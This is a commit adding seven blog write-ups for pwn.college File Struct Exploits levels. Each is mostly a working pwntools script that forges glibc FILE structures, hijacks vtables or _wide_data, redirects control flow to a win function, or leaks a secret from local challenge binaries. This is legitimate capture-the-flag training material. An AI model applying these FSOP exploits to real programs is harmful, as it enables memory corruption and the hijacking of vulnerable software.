Skip to content

Commit 270c3d9

Browse files
committed
F8-DAMM
1 parent 05c2889 commit 270c3d9

7 files changed

+352
-0
lines changed
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 9
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-10 07:02:27 +0300
6+
tags: pwn.college FSOP vtable overlaping-vtable
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.
14+
## Write-up
15+
Same prev...) ._.
16+
```python
17+
from pwn import *
18+
19+
elf = context.binary = ELF("/challenge/babyfile_level9")
20+
global p
21+
p = elf.process()
22+
23+
def exploit():
24+
p.recvuntil(b"libc is: ")
25+
puts = int(p.recvline()[:-1],16) - 0x84420
26+
27+
_IO_wfile_overflow = puts + 0x1E8DC0
28+
fp_addrr = puts + 0x1ed6a0
29+
30+
fp = FileStructure()
31+
fp._lock = fp_addrr
32+
fp.chain = elf.sym['authenticate'] + 37
33+
fp._wide_data = fp_addrr
34+
fp.vtable = _IO_wfile_overflow
35+
36+
p.send(bytes(fp) + p64(fp_addrr))
37+
38+
p.interactive()
39+
40+
def main():
41+
exploit()
42+
43+
if __name__ == "__main__":
44+
main()
45+
```
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 11
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-12 07:02:27 +0300
6+
tags: pwn.college FSOP fp-overwrite
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Apply FILE struct exploits to leak a secret value.
14+
15+
## Explit
16+
```python
17+
from pwn import *
18+
19+
elf = context.binary = ELF("/challenge/babyfile_level11")
20+
global p
21+
p = elf.process()
22+
23+
def new_note(size):
24+
p.sendlineafter(b"> ",b"new_note")
25+
p.send(size)
26+
27+
def del_note():
28+
p.sendlineafter(b"> ",b"del_note")
29+
30+
def write_note(data):
31+
p.sendlineafter(b"> ",b"write_note")
32+
p.send(data)
33+
34+
def read_note():
35+
p.sendlineafter(b"> ",b"read_note")
36+
37+
def open_file():
38+
p.sendlineafter(b"> ",b"open_file")
39+
40+
def close_file():
41+
p.sendlineafter(b"> ",b"close_file")
42+
43+
def write_file():
44+
p.sendlineafter(b"> ",b"write_file")
45+
46+
def write_fp(data):
47+
p.sendlineafter(b"> ",b"write_fp")
48+
p.send(data)
49+
50+
def quit():
51+
p.sendlineafter(b"quit")
52+
53+
def exploit():
54+
p.recvuntil(b"located at ")
55+
flag = int(p.recvline()[:-1],16)
56+
57+
new_note(b"50")
58+
write_note(b"AAAA")
59+
read_note()
60+
61+
open_file()
62+
63+
fp = FileStructure()
64+
fp.flags = 0x800
65+
fp._IO_read_end = flag
66+
fp._IO_write_base = flag
67+
fp._IO_write_ptr = flag + 0x64
68+
fp.fileno = 1
69+
70+
write_fp(bytes(fp.struntil("_flags2"))) # or just fp.write(flag,100)
71+
write_file()
72+
73+
p.interactive()
74+
75+
def main():
76+
exploit()
77+
78+
if __name__ == "__main__":
79+
main()
80+
```
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 2
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-07 09:00:27 +0300
6+
tags: pwn.college FSOP
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Harness the power of FILE structs to arbitrarily write data to bypass a security check.
14+
15+
## Write-up
16+
same previous but now in write.
17+
18+
## Exploit
19+
```python
20+
from pwn import *
21+
22+
elf = context.binary = ELF("/challenge/babyfile_level2")
23+
global p
24+
p = elf.process()
25+
"""
26+
0x0000000000401a38 <+165>: mov rdx,QWORD PTR [rip+0x27a9] # 0x4041e8 <fp>
27+
0x0000000000401a3f <+172>: mov rax,QWORD PTR [rip+0x27aa] # 0x4041f0 <buf>
28+
0x0000000000401a46 <+179>: mov rcx,rdx
29+
0x0000000000401a49 <+182>: mov edx,0x100
30+
0x0000000000401a4e <+187>: mov esi,0x1
31+
0x0000000000401a53 <+192>: mov rdi,rax
32+
0x0000000000401a56 <+195>: call 0x401150 <fread@plt>
33+
0x0000000000401a5b <+200>: mov eax,DWORD PTR [rip+0x2797] # 0x4041f8 <authenticated>
34+
0x0000000000401a61 <+206>: test eax,eax
35+
0x0000000000401a63 <+208>: je 0x401a71 <challenge+222>
36+
0x0000000000401a65 <+210>: mov eax,0x0
37+
0x0000000000401a6a <+215>: call 0x4012f6 <win>
38+
"""
39+
def exploit():
40+
fp = FileStructure()
41+
payload = fp.read(0x4041f8,260)
42+
p.send(payload)
43+
p.send(b"A"*260)
44+
p.interactive()
45+
46+
def main():
47+
exploit()
48+
49+
if __name__ == "__main__":
50+
main()
51+
```
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 4
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-07 07:00:27 +0300
6+
tags: pwn.college FSOP
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.
14+
15+
## Exploit
16+
```python
17+
from pwn import *
18+
19+
elf = context.binary = ELF("/challenge/babyfile_level4")
20+
global p
21+
p = elf.process()
22+
23+
def exploit():
24+
p.recvuntil(b"stored at: ")
25+
ret_address = int(p.recvline()[:-1],16)
26+
27+
fp = FileStructure()
28+
payload = fp.read(ret_address,266)
29+
p.send(payload)
30+
p.send(p64(elf.sym['win']) + b"\x00"*258)
31+
p.interactive()
32+
33+
def main():
34+
exploit()
35+
36+
if __name__ == "__main__":
37+
main()
38+
```
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 5
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-07 07:02:27 +0300
6+
tags: pwn.college FSOP
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Abuse built-in FILE structs to leak sensitive information.
14+
15+
## Exploit
16+
```python
17+
from pwn import *
18+
19+
elf = context.binary = ELF("/challenge/babyfile_level5")
20+
global p
21+
p = elf.process()
22+
23+
def exploit():
24+
p.recvuntil(b"located at ")
25+
secret_addr = int(p.recvline()[:-1],16)
26+
27+
fp = FileStructure()
28+
fp.flags = 0xFBAD1800 # cruntly_puting and is_appending
29+
fp._IO_write_base = secret_addr
30+
fp._IO_write_end = secret_addr + 0x64
31+
fp._IO_write_ptr = secret_addr + 0x64
32+
payload = fp.struntil("_IO_write_end")
33+
p.send(payload)
34+
p.interactive()
35+
36+
def main():
37+
exploit()
38+
39+
if __name__ == "__main__":
40+
main()
41+
```
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 6
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-07 07:06:27 +0300
6+
tags: pwn.college FSOP
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Abuse built-in FILE structs to bypass a security check.
14+
15+
## Exploit
16+
```python
17+
from pwn import *
18+
19+
elf = context.binary = ELF("/challenge/babyfile_level6")
20+
global p
21+
p = elf.process()
22+
23+
def exploit():
24+
fp = FileStructure()
25+
fp.flags = 0xFBAD2008
26+
fp._IO_buf_base = 0x4041f8
27+
fp._IO_buf_end =0x4041f8 + 5
28+
payload = fp.struntil("_IO_buf_end")
29+
p.send(payload)
30+
p.interactive()
31+
32+
def main():
33+
exploit()
34+
35+
if __name__ == "__main__":
36+
exploit()
37+
```
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
---
2+
layout: post
3+
title: (File Struct Exploits) level 8
4+
categories: pwn.college File-Struct-Exploits
5+
date: 2025-11-09 07:02:27 +0300
6+
tags: pwn.college FSOP vtable overlaping-vtable
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.
14+
## Write-up
15+
Since when program jump into ```__GI__IO_dallocbuff``` is get address of ```[wide_data + 0xe0]``` which will get what this address points for and grep this value then make again for this value ```[value + 0x68]``` and see what this address points for then get it and make ```call forThisAddress``` so is too easy just after ```fp``` add address of ```buff``` then in ```fp.chain``` make it points to address of ```win``` and it's will do the following steps:
16+
1- [rdi+0xe0] --> rdi is wide_data if we make fp.wide_data = buff
17+
2- [buff+0xe0] --> which is address of buff
18+
3- [buff + 0x68] --> which is addres of win on chain var
19+
4- call win
20+
5- good luck in pwner hmmm.(:_:)
21+
22+
23+
## Explit
24+
```python
25+
from pwn import *
26+
27+
elf = context.binary = ELF("/challenge/babyfile_level8")
28+
global p
29+
p = elf.process()
30+
31+
32+
def exploit():
33+
p.recvuntil(b"libc is: ")
34+
puts = int(p.recvline()[:-1],16)
35+
36+
p.recvuntil(b"writing to: ")
37+
buff = int(p.recvline()[:-1],16)
38+
39+
libc = puts - 0x84420
40+
_IO_wfile_overflow = libc + 0x1E8DC0
41+
wide_data = buff
42+
43+
fp = FileStructure()
44+
fp._lock = buff
45+
fp.chain = elf.sym['win']
46+
fp._wide_data = wide_data
47+
fp.vtable = _IO_wfile_overflow
48+
fp = bytes(fp) + p64(buff)
49+
50+
raw_input("DEBUG")
51+
p.send(fp)
52+
53+
p.interactive()
54+
55+
def main():
56+
exploit()
57+
58+
if __name__ == "__main__":
59+
main()
60+
```

0 commit comments

Comments
 (0)